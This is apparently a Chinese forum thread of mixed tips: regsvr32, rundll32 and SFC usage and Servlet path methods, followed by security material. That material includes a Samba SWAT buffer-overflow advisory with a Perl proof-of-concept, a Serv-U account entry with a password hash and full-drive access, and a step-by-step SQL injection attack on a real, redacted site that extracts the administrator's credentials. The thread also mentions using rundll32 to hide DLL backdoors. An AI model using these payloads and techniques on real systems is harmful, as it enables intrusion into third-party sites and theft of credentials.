发新话题
打印

菜鸟升级一号专题(已完成)

Regsvr32 用法和错误消息的说明

对于那些可以自行注册的对象链接和嵌入 (OLE) 控件,例如动态链接库 (DLL) 文件或 ActiveX 控件 (OCX) 文件,您可以使用 Regsvr32 工具 (Regsvr32.exe) 来将它们注册和取消注册。

Regsvr32.exe 的用法

RegSvr32.exe 具有以下命令行选项: Regsvr32 [/n] [/i[:cmdline]] dllname

   /u - Unregister server<BR/>
   /i - Call DllInstall passing it an optional [cmdline];
        when used with /u calls dll uninstall
   /n - do not call DllRegisterServer; this option must
        be used with /i

当您使用 Regsvr32.exe 时,它会尝试加载该组件并调用它的 DLLSelfRegister 函数。如果此尝试成功,Regsvr32.exe 会显示一个指示成功的对话框。如果此尝试失败,Regsvr32.exe 会返回一条错误消息,其中可能会包括一个 Win32 错误代码。要查看 Win32 错误代码的列表,请参见下面的 Microsoft Web 站点:  
http://msdn.microsoft.com/librar ... n32_error_codes.asp  

例如,要手动注册 Sample.ocx ActiveX 控件,请在 MS-DOS 提示符处键入以下命令:  
c:\regsvr32.exe sample.ocx

Regsvr32.exe 错误消息

以下列表介绍了 RegSvr32 错误消息和可能的原因。  

Unrecognized flag:/invalid_flag

键入的标志或开关组合无效(请参阅本文中的“Regsvr32.exe 的用法”一节)。  

No DLL name specified.

未包括 .dll 文件名(请参阅本文中的“Regsvr32.exe 的用法”一节)。  

Dllname was loaded, but the DllRegisterServer or DllUnregisterServer entry point was not found.

Dllname 不是 .dll 或 .ocx 文件。例如,键入 regsvr32 wjview.exe 就会生成该错误消息。  

Dllname is not an executable file and no registration helper is registered for this file type.

Dllname 不是可执行文件(.exe、.dll 或 .ocx)。例如,键入 regsvr32 autoexec.bat 就会生成该错误消息。

Dllname was loaded, but the DllRegisterServer or DllUnregisterServer entry point was not found.

Dllname 可能未导出,或者内存中可能有损坏的 Dllname 版本。请考虑使用 Pview 来检测该文件并删除它。  

Dllname is not self-registerable or a corrupted version is in memory.

例如,键入 regsvr32 icwdial.dll 后就会返回该错误消息,因为 Icwdial.dll 文件不能自行注册。如果您怀疑内存中有损坏的 Dllname 版本,请尝试重新启动计算机,或重新提取该文件的原始版本。如果您运行的是 Windows NT,可能需要使用 Microsoft Windows NT Server 4.0 资源工具包 中的 Kill 或 Pview 工具。有关其他信息,请单击以查看以下 Microsoft 知识库文章:  
197155 如何终止孤立进程  

OleInitialize failed (or OleUninitialize failed).

Regsvr32 必须先初始化 COM 库,然后才能调用所需的 COM 库函数并在关闭时撤消对该库的初始化。如果对 COM 库进行初始化或撤消初始化的尝试失败,就会出现这些错误消息。例如,Ole32.dll 文件可能已经损坏,或者其版本有误。  

LoadLibrary("Dllname") failed.GetlastError returns 0x00000485

在 Winerror.h 中,0x00000485 = 1157 (ERROR_DLL_NOT_FOUND),表示“找不到运行该应用程序所需的某个库文件”。例如,键入 regsvr32 missing.dll 后,如果找不到 Missing.dll 文件,就会返回该错误消息。  

LoadLibrary("Dllname") failed.GetLastError returns 0x00000002

在 Winerror.h 中,0x00000002 = 2 (ERROR_FILE_NOT_FOUND),表示“系统找不到指定的文件”。换言之,系统找不到相关的 DLL。例如,如果键入 regsvr32 icwdial.dll,而此时缺少 Tapi32.dll(依赖项),就会返回该错误消息。  

LoadLibrary("dskmaint.dll") failed.GetLastError returns 0x000001f

在 Winerror.h 中,0x000001f = 31 (ERROR_GEN_FAILURE),表示“附加到系统上的设备不能正常工作”。如果您尝试注册 Win16 .dll 文件,就会发生此现象。例如,键入 regsvr32 dskmaint.dll 会返回该错误消息。  

DllRegisterServer (or DllUnregisterServer)in Dllname failed.返回代码是:字符串

在 Winerror.h 中搜索字符串。  
Regsvr32.exe 和依赖项
RegSvr32.exe 依赖于 Kernel32.dll、User32.dll 和 Ole32.dll 文件(在 Windows NT 中,还依赖于 Msvcrt.dll 和 Advapi32.dll 文件)。Regsvr32.exe 会加载您尝试注册或撤消注册的文件及其所有依赖项。如果缺少必需的文件或者它们已损坏,该进程可能会失败。  

您可以使用 Depends.exe 来确定您尝试注册或撤消注册的文件的依赖项。在 Microsoft Windows 98 资源工具包 和 Microsoft Windows NT 4.0 资源工具包 支持工具中都提供了 Depends.exe。
247024 Tools Included with the Microsoft Windows 98 Resource Kit

TOP

Regsvr32使用方法

  使用过activex的人都知道,activex不注册是不能够被系统识别和使用的,一般安装程序都会自动地把它所使用的activex控件注册,但如果你拿到的一个控件需要手动注册怎么办呢?如果修改注册表那就太麻烦了,在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注册工具。它的用法为:

  “regsvr32 [/s] [/n] [/i(:cmdline)] dllname”。其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。

  参数有如下意义:

  /u——反注册控件

  /s——不管注册成功与否,均不显示提示框

  /c——控制台输出

  /i——跳过控件的选项进行安装(与注册不同)

  /n——不注册控件,此选项必须与/i选项一起使用

TOP

Regsvr32命令修复系统故障

Regsvr32命令是 Windows 系统提供的一个实用工具,它用来向系统注册控件或者卸载控件,利用该命令,可找回系统丢失的功能。Regsvr32命令以命令行方式运行,其命令格式为: Regsvr32 Filename, Filename是控件文件名,不带参数 u 就是注册控件,带参数 u 就是卸载控件。
l. 恢复图片预览功能: Windows XP的图片预览功能,对应的控件文件为 thurnbvw.dll。 如果该功能损坏,可单击“开始”一“运行” , 在“打开”框中输人:" Regsvr32 Thurnbvw. dll" ,单击“确定”执行命令,这时就会弹出提示框: " DllRegisterServer in Thumbvw.dll succeeded." ,这表明控件注册成功。重新启动电脑,WindowsXP 的图片预览功能便恢复了。
  2. 恢复ZIP功能:Windows XP 系统提供了ZIP功能,虽然功能不算强大,但不需要第三方软件就可打开ZIP文件,而且可以把ZIP压缩文件当作文件夹使用,也算是比较方便、实用的功能。如果该功能损坏,可在运行框中执行“Regsvr32 ZIPfldr.dll”命令,然后重新启动电脑即可恢复。
3. 恢复IE新窗口打开超级链接功能:在IE中有两种超级链接,一种是在当前页面跳转的链接,另一种是弹出新窗口的链接,对第一种链接也可按住Shift键在新窗口中打开。很多人都遇到过不能在新窗口打开链接的麻烦事儿,这个问题也是因控件注册信息丢失引起的。解决办法是:在运行框中分别执行三个命令:“Regsvr32 Actxprxy.dll ”、“Regsvr32 Shdocvw.dll”、 " Regsvr32 Oleaut32.dll ”。一这三个控件注册成功后,重新启动电脑, IE 就恢复正常了。
  4. 恢复FSO功能:现在有很多人利用自己的电脑建论坛、网站,论坛或者动态网站程序都可进行在线文件管理,管理员通过页面就可操作文件,但经常有人反映自己的论坛、网站不能在线管理文件,这是因为服务器的FSO功能没有开通或者出现故障,解决办法是:在服务器的运行框中执行“Regsvr32 Sorrun.dll " ,最后重启服务器即可开通/恢复FSO功能。
  5. 恢复在线升级功能:在Windows的“开始”菜单的顶端,有一个“Windows Update”项,可以快捷的对系统进行在线升级打补。但有时会发现无法进行在线升级,要解决这个故障,只要在运行框中执行 " Regsvr32 Wupdinfo.dll " ,重启电脑即可解决。

TOP

RUNDLL32内容

RUNDLL32.EXE 是什么程序

    Rundll32.exe是什么?顾名思意,“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样,就实现了进程上的隐藏。如果看到系统中有多个Rundll32.exe,不必惊慌,这证明用Rundll32.exe启动了多少个的DLL文件。当然,这些Rundll32.exe执行的DLL文件是什么,我们都可以从系统自动加载的地方找到。

    现在,我来介绍一下Rundll32.exe这个文件,意思上边已经说过,功能就是以命令行的方式调用动态链接程序库。系统中还有一个Rundll.exe文件,他的意思是“执行16位的DLL文件”,这里要注意一下。在来看看Rundll32.exe使用的函数原型:
    Void CALLBACK FunctionName (
    HWND hwnd,
    HINSTANCE hinst,
    LPTSTR lpCmdLine,
    Int nCmdShow
    );

    其命令行下的使用方法为:Rundll32.exe DLLname,Functionname [Arguments]
    DLLname为需要执行的DLL文件名;Functionname为前边需要执行的DLL文件的具体引出函数;[Arguments]为引出函数的具体参数。
略谈Rundll32.exe的作用  (我是菜鸟)     

   

    常用Windows9x的朋友一定对Rundll32.exe和Rundll.exe这两个档案不会陌生吧,不过,由於这两个程式的功能原先只限於在微软内部使用,因而真正知道如何使用它们的朋友想必不多。那么好,如果你还不清楚的话,那么就让我来告诉你吧。
    首先,请你做个小实验(请事先保存好你正在执行的程式的结果,否则...):点击“开始-程式-Ms-Dos方式”,进入Dos视窗,然後键入rundll32.exe user.exe,restartwindows,再按下回车键,这时你将看到,机器被重启了!怎么样,是不是很有趣?
     当然,Rundll的功能绝不仅仅是重启你的机器。其实,Rundll者,顾名思义,执行Dll也,它的功能就是以命令列的方式呼叫Windows的动态链结库,Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库,而後者是运用於16位的链结库,它们的命令格式是:

     RUNDLL.EXE ,,
     这里要注意三点:1.Dll档案名中不能含有空格,比如该档案位於c:\ProgramFiles\目录,你要把这个路径改成c:\Progra~1\;2.Dll档案名与Dll入口点间的逗号不能少,否则程式将出错并且不会给出任何资讯!3.这是最重要的一点:Rundll不能用来呼叫含返回值参数的Dll,例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中,提供了一条执行外部程式的指令Shell,格式为:
     Shell “命令列”
     如果能配合Rundll32.exe用好Shell指令,会使您的VB程式拥有用其他方法难以甚至无法实现的效果:仍以重启为例,传统的方法需要你在VB工程中先建立一个模组,然後写入WinAPI的声明,最後才能在程式中呼叫。而现在只需一句:

     Shell “rundll32.exe user.exe,restartwindows”就搞定了!是不是方便多了?
     实际上,Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。下面,我就将本人在因特网上收集的有关Rundll的指令列举如下(很有用的,能省去你很多呼叫Windows  API的时间!!),供大家在程式设计中引用:
     命令列: rundll32.exe shell32.dll,Control_RunDLL
     功能: 显示控制面板
     命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
     功能: 显示“控制面板-辅助选项-键盘”选项视窗
     命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
     功能: 显示“控制面板-辅助选项-声音”选项视窗
     命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
     功能: 显示“控制面板-辅助选项-显示”选项视窗
     命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
     功能: 显示“控制面板-辅助选项-滑鼠”选项视窗
     命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
     功能: 显示“控制面板-辅助选项-传统”选项视窗
     命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1
     功能: 执行“控制面板-添加新硬体”向导。
     命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter
     功能: 执行“控制面板-添加新印表机”向导。
     命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
     功能: 显示 “控制面板-添加/删除程式-安装/卸载” 面板。
     命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
     功能: 显示 “控制面板-添加/删除程式-安装Windows” 面板。
     命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
     功能: 显示 “控制面板-添加/删除程式-启动盘” 面板。
     命令列: rundll32.exe syncui.dll,Briefcase_Create
     功能: 在桌面上建立一个新的“我的公文包”。
     命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll
     功能: 显示复制软碟视窗
     命令列: rundll32.exe apwiz.cpl,NewLinkHere %1
     功能: 显示“建立快捷方式”的对话框,所建立的快捷方式的位置由%1参数决定。
     命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
     功能: 显示“日期与时间”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
     功能: 显示“时区”选项视窗。
     命令列: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称]
     功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接,则显示目前的连接状态的视窗。
     命令列: rundll32.exe rnaui.dll,RnaWizard
     功能: 显示“新建拨号连接”向导的视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
     功能: 显示“显示属性-背景”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
     功能: 显示“显示属性-萤屏保护”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
     功能: 显示“显示属性-外观”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
     功能: 显示显示“显示属性-属性”选项视窗。
     命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder
     功能: 显示Windows的“字体”档案夹。
     命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
     功能: 同样是显示Windows的“字体”档案夹。
     命令列: rundll32.exe shell32.dll,SHformatDrive
     功能: 显示格式化软碟对话框。
     命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0
     功能: 显示“控制面板-游戏控制器-一般”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1
     功能: 显示“控制面板-游戏控制器-进阶”选项视窗。
     命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文档)
     功能: 列印HTML文档。
     命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
     功能: 显示Microsoft Exchange一般选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
     功能: 显示“控制面板-滑鼠” 选项 。
     命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
     功能: 显示 “控制面板-键盘属性-速度”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
     功能: 显示 “控制面板-键盘属性-语言”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
     功能: 显示Windows“印表机”档案夹。
     命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
     功能: 显示Windows“字体”档案夹。
     命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
     功能: 显示“控制面板-输入法属性-输入法”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add
     功能: 执行“添加新调制解调器”向导。
     命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0
     功能: 显示“控制面板-多媒体属性-音频”属性页。
     命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1
     功能: 显示“控制面板-多媒体属性-视频”属性页。
     命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2
     功能: 显示“控制面板-多媒体属性-MIDI”属性页。
     命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3
     功能: 显示“控制面板-多媒体属性-CD音乐”属性页。
     命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4
     功能: 显示“控制面板-多媒体属性-设备”属性页。
     命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1
     功能: 显示“控制面板-声音”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl
     功能: 显示“控制面板-网路”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl
     功能: 显示ODBC32资料管理选项视窗。
     命令列: rundll32.exe shell32.dll,OpenAs_RunDLL {drive:\path\filename}

     功能: 显示指定档案(drive:\path\filename)的“打开方式”对话框。
     命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl
     功能: 显示“控制面板-密码”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl
     功能: 显示“控制面板-电源管理属性”选项视窗。
     命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL  PrintersFolder
     功能: 显示Windows“印表机”档案夹。(同rundll32.exe shell32.dll,Control_RunDLL  main.cpl @2)
     命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0
     功能: 显示“控制面板-区域设置属性-区域设置”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1
     功能: 显示“控制面板-区域设置属性-数字”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2
     功能: 显示“控制面板-区域设置属性-货币”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3
     功能: 显示“控制面板-区域设置属性-时间”选项视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4
     功能: 显示“控制面板-区域设置属性-日期”选项视窗。
     命令列: rundll32.exe desk.cpl,InstallScreenSaver [萤屏保护档案名]
     功能: 将指定的萤屏保护档案设置为Windows的屏保,并显示萤屏保护属性视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0
     功能: 显示“控制面板-系统属性-传统”属性视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1
     功能: 显示“控制面板-系统属性-设备管理器”属性视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2
     功能: 显示“控制面板-系统属性-硬体配置档案”属性视窗。
     命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3
     功能: 显示“控制面板-系统属性-性能”属性视窗。
     命令列: rundll32.exe user.exe,restartwindows
     功能: 强行关闭所有程式并重启机器。
     命令列: rundll32.exe user.exe,exitwindows
     功能: 强行关闭所有程式并关机。
     命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl
     功能: 显示“拨号属性”选项视窗
     命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl
     功能: 显示“桌面主旨”选项面板
     当然,不止是VisualBasic,象Delphi.VisualC++等其他程式设计语言也可以通过呼叫外部命令的方法来使用Rundll的这些功能,具体方法这里就不再详细叙述了。灵活的使用Rundll,一定会使你的程式设计轻轻松松,达到事半功倍的效果!

TOP

Samba 3.x SWAT预验证远程缓冲区溢出漏洞

严重程度:高
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式
CVE(CAN) ID:CAN-2004-0600

受影响系统
Samba 3.0.2
               Samba 3.0.3
               Samba 3.0.4
详细描述
SWAT是Samba Web管理工具。

Samba SWAT服务预验证存在缓冲区溢出问题,远程攻击者可以利用这个漏洞在系统上以SWAT进程权限执行任意指令。问题存在于source/lib/util_str.c文件中的进行HTTP Basic验证的base64_decode_data_blob函数中.

测试代码
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (<$remote>)
{
print $_;
}
print "\n";

close $remote;

解决方案
下载升级程序:

Samba 3.0.5:

http://www.samba.org/samba/whatsnew/samba-3.0.5.htm

相关信息
http://www.securiteam.com/unixfocus/5EP0R0KDFE.html

TOP

Servlet有关路径的方法总结

在编写JSP/Servlet应用时常常需要从传入的链接中提取一些信息。HttpServletRequest提供了多个方法,这些方法之间容易混淆。总结并举例如下,希望能对大家有所帮助。

举例:http://localhost:7001/myservlet/somepath/test?someparam=somevalue
request.getPathInfo():返回/somepath/test
request.getRequestURL():返回http://localhost:7001/myservlet/somepath/test
request.getRequestURI():返回/myservlet/somepath/test
request.getServletPath():返回/myservlet
request.getQueryString():返回someparam=somevalue

TOP

serv-u密码系统管理员

[USER=yidtfj|1]
Password=rnCCDB0FAC7B247E36906891C3D582ECB8
HomeDir=c:\
RelPaths=1
MaxUsersLoginPerIP=100
TimeOut=600
Maintenance=System
Access1=c:\|RWAMLCDP
SKEYValues=

TOP

SFC使用方法

  SFC(System Files Checker,系统文件检查器)。以管理员身份登录Windows XP,将Windows XP的安装光盘放入光驱,在“命令提示符”窗口中键入“SFC/SCANNOW”命令后回车,“系统文件检查器”开始自动扫描系统文件,而且不需要你的任何干预。不过需要提醒大家的是,尽管Windows 2000/XP下的“SFC”比Windows 98下的“SFC”聪明得多,但要想正常运行它,还得注意以下两个问题:

  1.在运行“SFC”之前必须将Windows XP安装光盘放入光驱,否则在扫描过程中会提示你插入安装光盘。即使你插入了安装光盘,系统仍会有出错提示。
  2.在Windows 2000/XP下使用“系统文件检查器”时,必须加上正确的参数才能正常运行。我们可以在“命令提示符”窗口中键入“SFC”命令查看这些参数。
  3.由于Windows 2000/XP下的“SFC”命令是完全自动执行的,因此我们无法直接知道修复了哪些系统文件。不过我们可以通过以下方法间接获得系统文件的修复情况:依次打开“控制面板→管理工具→事件查看器→系统”,根据时间提示,从列表中选定运行“SFC”时的事件,右击该事件并查看其属性即可。

TOP

SQL Injection(注入)全面分析及攻防实例讲解

SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。

一、发现漏洞,常规注入
最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个'(单引号),我突然眼前一亮:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/showspecial.asp,行13

(见pic/1.gif)

Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:

1、提交http://********/showspecial.asp?Specialid=1817;use master;--
注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..
出现
Microsoft OLE DB Provider for SQL Server 错误 '80040e21'
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/showspecial.asp,行13

(见pic/2.gif)
想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])
这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段
一般来说:

如果不存在该表的话,会出现
Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
对象名 'user' 无效。
/showspecial.asp,行13

不存在该字段的话,会出现
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列名 'id' 无效。
/showspecial.asp,行13

注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如<INPUT type=text name=username size=15>

很幸运,果然存在user表和id字段
3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])
这里的username是根据登陆框的表单名去猜的,恰好存在该字段
于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534

(见pic/3.gif)
4、继续猜下去,这里我还是利用的他程序中的表单名,提交
http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])
也存在,好了,到这里,我们的平台已经搭建好了。

二、深入研究,让SQL自己招数据库结构
很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的表名都会在该表内有存在,(对象名 'admin' 无效。大家可以看到上面出现的报错把表名描述成对象)。

我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):
name 数据表的名字
xtype 数据表的类型 u为用户表
id 数据表的对象标志
status 保留字段,用户表一般都是大于0的

在查询分析器执行以下SQL语句(以我本地的数据库为例子)
select top 1 name from sysobjects where xtype='u' and status>0
我们马上就可以得到该数据库下用户表的第一个表名gallery (见pic/4.gif)
select top 1 id from sysobjects where xtype='u' and name='gallery'
我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048(见pic/5.gif)
select top 1 name from sysobjects where xtype='u' and id>2099048
再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的 (见pic/6.gif)
以此类推,我们可以得到所有的用户表的名字了

接下来,我们要根据得到的表名取他的字段名
这里我们用到的是系统自带的2个函数col_name()和object_id()
在查询分析器执行以下SQL语句(以我本地的数据库为例子)
select top 1 col_name(object_id('gallery'),1) from gallery
得到gallery表的第一个字段名为id (见pic/7.gif)

注:
col_name()的语法
COL_NAME ( table_id , column_id )
参数
table_id:包含数据库列的表的标识号。table_id 属于 int 类型。
column_id:列的标识号。column_id 参数属于 int 类型。
其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号

以此类推得到该表所有的字段名称

三、再次渗透攻击
经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了

依然是那个页,我们提交
http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where id=103534;--
服务器返回
ADODB.Recordset 错误 '800a0cb3'
当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。
/showspecial.asp,行19
出师不利,可能该页记录集打开方式是只读,我们再换一个页
找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where id=103534;--
把第一个数据表的名字更新到我的资料的email项里去
得到第一个表名为:lmuser (见pic/8.gif)
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype='u' and name='lmuser') where id=103534;--
得到第一个表lmuser的id标识号为:363148339 (见pic/9.gif)
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype='u' and id>363148339) where id=103534;--
得到第二个表名为:ad (见pic/10.gif)
这里我们利用的是数据表的对象标志id是升序排列的特点
以此类推继续取。。。。。(由于篇幅问题,中间省略n步)
最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了(见pic/11.gif)

好,接下来我们就取该表的字段名
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id('admin'),1) from admin) where id=103534;--
得到第1个字段为:id (见pic/12.gif)
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id('admin'),2) from admin) where id=103534;--
得到第2个字段为:username (见pic/13.gif)
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id('admin'),3) from admin) where id=103534;--
得到第2个字段为:password

到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了
首先拿管理员的id值,这个比较简单,在上期的档案里的“动网论坛有史以来最大的安全漏洞”里详细的方法
我们拿到的id值是44
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;--
将该管理员的用户名更新到email项
拿到的username为:gscdjmp3 (见pic/14.gif)
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;--
将该管理员的密码更新到email项
拿到的password为:XZDC9212CDJ (见pic/15.gif)
怎么样,拿到密码了吧?


四、总结
在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。
最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!

TOP

SQL Injection技巧的演练

摘要:
下文是为了帮助那些希望能掌握这个漏洞的运用、并想得知如何保护自己免受这种漏洞攻击的人了解该漏
洞的本质而写的。


详细资料:

1.0绪论
当一台机器只开放了80端口(这里指的是提供HTTP服务)时,可能你的大多数漏洞扫描器都不能给到你很多
有价值的信息(漏洞信息),倘若这台机器的管理员是经常为他的服务器打PATCH的话,我们只好把攻击的
矛头指向WEB服务攻击了。SQL注入攻击是WEB攻击类型中的一种,这种攻击没有什么特殊的要求,只需要
对方提供正常的HTTP服务,且不需要理会管理员是否是个“PATCH狂”。这类攻击主要是针对某种WEB处理
程序(如ASP,JSP,PHP,CGI等等)的而进行。

